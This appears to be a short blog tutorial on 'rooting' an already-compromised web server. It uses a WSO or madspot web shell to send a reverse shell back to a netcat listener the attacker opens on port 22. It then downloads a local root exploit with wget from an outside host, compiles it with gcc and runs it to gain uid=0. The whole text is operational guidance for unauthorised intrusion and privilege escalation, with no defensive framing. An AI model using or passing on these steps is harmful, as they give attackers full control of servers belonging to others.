Rooting server
Rooting a server
Today I am going to give you a tutorial about rooting a server.
Okay First what we need
1 ) Shelled Server.
2) Open Ports
3) Exploit
Okay lets Go
First Open your Shell
Ok After Opening Shell
Nevigate to network Tab ( WSO ) or CONNECT ( madspot )
Now Enter Your Desired Port Which you have forwarded in your local machine as well it is Opened in Target machine.
TIP : You Should Use Port 22 because it is opened in almost all Servers.
After binding Put you ip in the server Box and Put the port which you have bind and forward.
But before clicking Submit
Download netcat ( Windows ) - Download HERE ( Link )
Download and Extract into C:\ directory like :
C:\nc\nc.exe
Now open command prompt
And type
cd \
Now Give this Command
cd nc
Note : make sure you have extracted netcat in C:\nc
Now type
nc -vlp 22
Ok Now After Doing This
Open your shell Put your ip in server section and type port 22 and click submit
After clicking submit if every thing went ok
you will get a back connection from server
Now
type this command
Wget [the link of the local-Root.zip]
for example : wget www.exploit-db.com/exploit.zip
Now Type command to unzip the archieve.
unzip exploit.zip
Note : you can skip the above two steps if you directly upload .C file
Now Give this Command
chmod 777 local.c
Note : replace the Local.c with the name of the file.
now to Compile or change the local-root from local.c > local
Type this command :
gcc local.c -o local
Then you will find local.c transformed to local
Now Type this Command
chmod 777 local
Now execute the local exploit By Giving This Command.
./local
If It Executes properly without showing any error.
Then Type This Command
su
then see your id uid=0(root) gid=0(root) groups=0(root)
Else If u Got any error then that means The exploit does not works for server. Or the server is patched.
Post a Comment